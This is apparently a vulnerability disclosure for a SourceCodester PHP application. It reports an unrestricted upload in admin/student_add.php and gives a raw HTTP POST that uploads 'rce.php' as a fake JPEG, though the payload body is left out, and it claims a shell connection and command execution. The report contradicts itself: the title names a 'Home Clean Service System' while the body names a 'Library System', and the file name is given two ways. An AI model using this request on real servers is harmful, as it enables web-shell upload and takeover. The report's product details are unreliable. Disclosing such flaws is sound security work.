SourceCodester Home Clean Service System in PHP Free Source Code 1.0 student_add.php Unrestricted Upload

[1097hzy]

SourceCodester Home Clean Service System in PHP Free Source Code 1.0 student_add.php Unrestricted Upload

NAME OF AFFECTED PRODUCT(S)

• Library System using PHP/MySQli with Source Code

Vendor Homepage

• https://www.sourcecodester.com/php/12275/library-system-using-php.html

AFFECTED AND/OR FIXED VERSION(S)

submitter

• fengxiangdi

Vulnerable File

• student_add.php

VERSION(S)

• V1.0

Software Link

• https://www.sourcecodester.com/sites/default/files/download/oretnom23/libsystem.zip

PROBLEM TYPE

Vulnerability Type

• File upload

Root Cause

• The input obtained from line 8 of the \admin\student.add.php file is used to determine the location of the file to be written, which may allow attackers to modify or damage the content of the file, or create a brand new file.
• 

Impact

• Attackers can exploit this vulnerability for unrestricted uploads, and remote attacks may result in RCE.

DESCRIPTION

• Fengxiangdi found that the file upload operation was triggered in student.add.php, and the _FAILE variable was used to receive the payload. After receiving the attack vector from a remote attacker, it will result in unrestricted uploads, and remote attacks may lead to RCE.

Vulnerability details and POC

Payload

• The picture I uploaded here is a photo of carrying a Trojan horse, but due to character confusion, I took a screenshot directly.
• 

POST /admin/student_add.php HTTP/1.1
Host: localhost
Content-Length: 2498
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.libsystem.com:8103
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryofX7Z9Ez1nJnPqJ5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://www.libsystem.com:8103/admin/student.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryofX7Z9Ez1nJnPqJ5
Content-Disposition: form-data; name="firstname"

www
------WebKitFormBoundaryofX7Z9Ez1nJnPqJ5
Content-Disposition: form-data; name="lastname"

www
------WebKitFormBoundaryofX7Z9Ez1nJnPqJ5
Content-Disposition: form-data; name="course"

2
------WebKitFormBoundaryofX7Z9Ez1nJnPqJ5
Content-Disposition: form-data; name="photo"; filename="rce.php"
Content-Type: image/jpeg

Node:Sorry, due to some coding reasons, I am unable to use markdown to store image data with attack payloads here.

------WebKitFormBoundaryofX7Z9Ez1nJnPqJ5
Content-Disposition: form-data; name="add"


------WebKitFormBoundaryofX7Z9Ez1nJnPqJ5--

• I successfully connected using shell tools
• 
• I successfully executed the ipconfig command using shell tools
•